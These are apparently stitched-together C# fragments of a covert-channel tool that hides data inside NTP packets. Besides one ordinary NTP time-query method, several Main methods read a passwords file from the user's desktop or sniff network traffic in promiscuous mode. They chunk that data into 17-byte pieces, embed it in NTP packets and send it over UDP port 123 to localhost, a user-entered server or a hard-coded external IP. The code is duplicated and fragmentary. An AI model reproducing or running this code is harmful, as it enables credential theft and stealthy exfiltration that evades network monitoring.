/// <summary>
/// Returns time retrieved from NTP server.
/// </summary>
/// <exception cref="InvalidOperationException">Cannot retrieve time from NTP server.</exception>
public async Task <DateTime> RetrieveTimeAsync()
{
var requestPacket = NtpPacket.GetClientPacket();
var requestBytes = requestPacket.GetBytes();
try {
using (var udp = new UdpClient()) {
udp.Client.ReceiveTimeout = this.Timeout;
udp.Client.SendTimeout = this.Timeout;
await udp.SendAsync(requestBytes, requestBytes.Length, this.HostName, this.Port);
var receiveTask = udp.ReceiveAsync();
using (var timeoutCancellationToken = new CancellationTokenSource()) {
var completedTask = await Task.WhenAny(receiveTask, Task.Delay(this.Timeout, timeoutCancellationToken.Token));
if (completedTask == receiveTask)
{
timeoutCancellationToken.Cancel();
await receiveTask;
}
else
{
throw new InvalidOperationException("Cannot retrieve time from NTP server.", new TimeoutException());
}
}
var responsePacket = NtpPacket.ParsePacket(receiveTask.Result.Buffer);
if (responsePacket.TransmitTimestamp.HasValue)
{
return(responsePacket.TransmitTimestamp.Value);
}
else
{
throw new InvalidOperationException("Cannot retrieve time from NTP server.");
}
}
} catch (SocketException ex) {
throw new InvalidOperationException("Cannot retrieve time from NTP server.", ex);
}
}
static void Main(string[] args)
{
//Get some private data
//For example, contents of `passwords.txt` on user's desktop
String path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "passwords.txt");
String contents = File.ReadAllText(path);
Console.WriteLine($"Succesflly got private data:\r\n{contents}");
contents += "TRANSFER COMPLETE"; //Add 17 bytes more to guaranteely send 2 or more packets
//Now split by 17 bytes each
int ctr = 0;
List <byte[]> pcs = new List <byte[]>();
int BYTE_CNT = 17;
byte[] current = new byte[BYTE_CNT];
foreach (var cb in Encoding.ASCII.GetBytes(contents))
{
if (ctr == BYTE_CNT)
{
//BYTE_CNT bytes added, start new iteration
byte[] bf = new byte[BYTE_CNT];
current.CopyTo(bf, 0);
pcs.Add(bf);
String deb = Encoding.ASCII.GetString(bf);
ctr = 0;
for (int i = 0; i < BYTE_CNT; i++)
{
current[i] = 0x0;
}
}
if (cb == '\n' || cb == '\r')
{
current[ctr] = Encoding.ASCII.GetBytes("_")[0];
}
else
{
current[ctr] = cb;
}
ctr++;
}
//OK split
Console.WriteLine($"OK split into {pcs.Count} parts");
//Now send
UDPSocket socket = new UDPSocket();
socket.Client("127.0.0.1", 123);
byte pkt_id = 0;
int total_sent = 0;
Stopwatch sw = new Stopwatch();
sw.Start();
foreach (var ci in pcs)
{
NtpPacket ntp = new NtpPacket();
ntp = ntp.EmbedDataToPacketC(ci);
byte[] result = ntp.BuildPacket();
result[5] = pkt_id;
packets.Add(pkt_id, result);
Console.WriteLine($"Sending: {Encoding.ASCII.GetString(result)}");
socket.Send(result);
Thread.Sleep(200);
total_sent += result.Length;
pkt_id++;
}
sw.Stop();
Console.WriteLine($"Sent {pkt_id} packets in {sw.ElapsedMilliseconds} ms. Avg speed: {total_sent / ((double)((double)sw.ElapsedMilliseconds / (double)1000))} B/s");
Console.WriteLine("Finised. Press any key to close...");
Console.ReadKey(true);
}
static void Main(string[] args)
{
int k = 0;
CaptureDeviceList deviceList = CaptureDeviceList.Instance;
foreach (ICaptureDevice dev in deviceList)
{
Console.WriteLine("{0}\n", dev.ToString());
}
ICaptureDevice device = deviceList[3];
device.Open(DeviceMode.Promiscuous, 1000);
Console.WriteLine();
Console.WriteLine("-- Listening on {0}...", device.Description);
Packet packet = null;
while (true)
{
RawCapture raw = device.GetNextPacket();
while (raw == null)
{
raw = device.GetNextPacket();
}
packet = Packet.ParsePacket(raw.LinkLayerType, raw.Data);
var tcpPacket = TcpPacket.GetEncapsulated(packet);
var ipPacket = IpPacket.GetEncapsulated(packet);
if (tcpPacket != null && ipPacket != null)
{
DateTime time = raw.Timeval.Date;
int len = raw.Data.Length;
Console.WriteLine("{0}:{1}:{2},{3} Len={4}",
time.Hour, time.Minute, time.Second,
time.Millisecond, len);
//Console.WriteLine(e.Packet.ToString());
// IP адрес отправителя
var srcIp = ipPacket.SourceAddress.ToString();
//Console.WriteLine("srcIp="+ srcIp);
// IP адрес получателя
var dstIp = ipPacket.DestinationAddress.ToString();
//Console.WriteLine("dstIp=" + dstIp);
// порт отправителя
var srcPort = tcpPacket.SourcePort.ToString();
//Console.WriteLine("srcPort=" + srcPort);
// порт получателя
var dstPort = tcpPacket.DestinationPort.ToString();
//Console.WriteLine("dstPost=" + dstPort);
// данные пакета
var data = BitConverter.ToString(raw.Data);
//Console.WriteLine("data=" + data);
string path = srcIp.ToString() + " " + dstIp.ToString() + " " + srcPort.ToString() + " " + dstPort.ToString() + " " + data.ToString() + " ";
Console.WriteLine(path);
k++;
//Get some private data
//For example, contents of `passwords.txt` on user's desktop
path += "TRANSFER COMPLETE"; //Add 17 bytes more to guaranteely send 2 or more packets
//Now split by 17 bytes each
int ctr = 0;
List <byte[]> pcs = new List <byte[]>();
int BYTE_CNT = 17;
byte[] current = new byte[BYTE_CNT];
foreach (var cb in Encoding.ASCII.GetBytes(path))
{
if (ctr == BYTE_CNT)
{
//BYTE_CNT bytes added, start new iteration
byte[] bf = new byte[BYTE_CNT];
current.CopyTo(bf, 0);
pcs.Add(bf);
String deb = Encoding.ASCII.GetString(bf);
ctr = 0;
for (int i = 0; i < BYTE_CNT; i++)
{
current[i] = 0x0;
}
}
if (cb == '\n' || cb == '\r')
{
current[ctr] = Encoding.ASCII.GetBytes("_")[0];
}
else
{
current[ctr] = cb;
}
ctr++;
}
//OK split
Console.WriteLine($"OK split into {pcs.Count} parts");
//Now send
UDPSocket socket = new UDPSocket();
socket.Client("88.151.112.223", 123);
byte pkt_id = 0;
int total_sent = 0;
Stopwatch sw = new Stopwatch();
sw.Start();
foreach (var ci in pcs)
{
NtpPacket ntp = new NtpPacket();
ntp = ntp.EmbedDataToPacketC(ci);
byte[] result = ntp.BuildPacket();
result[5] = pkt_id;
if (k == 0)
{
packets.Add(pkt_id, result);
}
Console.WriteLine($"Sending: {Encoding.ASCII.GetString(result)}");
socket.Send(result);
Thread.Sleep(1);
total_sent += result.Length;
pkt_id++;
}
sw.Stop();
Console.WriteLine($"Sent {pkt_id} packets in {sw.ElapsedMilliseconds} ms. Avg speed: {total_sent / ((double)((double)sw.ElapsedMilliseconds / (double)1000))} B/s");
Console.WriteLine("Package was sent");
//Console.ReadKey(true);
}
}
}
internal NtpResponse(NtpPacket packet)
{
Packet = packet;
}
static void Main(string[] args)
{
String path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "password.txt");
String contents = File.ReadAllText(path);
Console.WriteLine($"Succesflly got private data:\r\n{contents}"); //Add 17 bytes more to guaranteely send 2 or more packets
//Now split by 17 bytes each
int ctr = 0;
List <byte[]> pcs = new List <byte[]>();
int BYTE_CNT = 17;
byte[] current = new byte[BYTE_CNT];
if (contents.Length % 17 != 0)
{
String temp = "------------------";
contents = contents + temp.Substring(0, 17 - contents.Length % 17);
}
;
foreach (var cb in Encoding.ASCII.GetBytes(contents))
{
if (ctr == BYTE_CNT - 1)
{
byte[] bf = new byte[BYTE_CNT];
current.CopyTo(bf, 0);
pcs.Add(bf);
String deb = Encoding.ASCII.GetString(bf);
ctr = 0;
for (int i = 0; i < BYTE_CNT; i++)
{
current[i] = 0x0;
}
}
if (cb == '\n' || cb == '\r')
{
current[ctr] = Encoding.ASCII.GetBytes("_")[0];
}
else
{
current[ctr] = cb;
}
ctr++;
}
//OK split
Console.WriteLine($"OK split into {pcs.Count} parts");
//Now send
var ip = ReadLine("0.0.0.0", $"Enter server IP [0.0.0.0]: ");
int port = int.Parse(ReadLine("123", "Enter port to server on [123]: "));
UDPSocket socket = new UDPSocket();
socket.Client(ip, port);
byte pkt_id = 0;
int total_sent = 0;
Stopwatch sw = new Stopwatch();
sw.Start();
foreach (var ci in pcs)
{
NtpPacket ntp = new NtpPacket();
ntp = ntp.EmbedDataToPacketC(ci);
byte[] result = ntp.BuildPacket();
result[5] = pkt_id;
packets.Add(pkt_id, result);
socket.Send(result);
Thread.Sleep(200);
total_sent += result.Length;
pkt_id++;
}
sw.Stop();
Console.WriteLine($"Sent {pkt_id} packets in {sw.ElapsedMilliseconds} ms. Avg speed: {total_sent / ((double)((double)sw.ElapsedMilliseconds / (double)1000))} B/s");
Console.WriteLine("Finised. Press any key to close...");
Console.ReadKey(true);
}
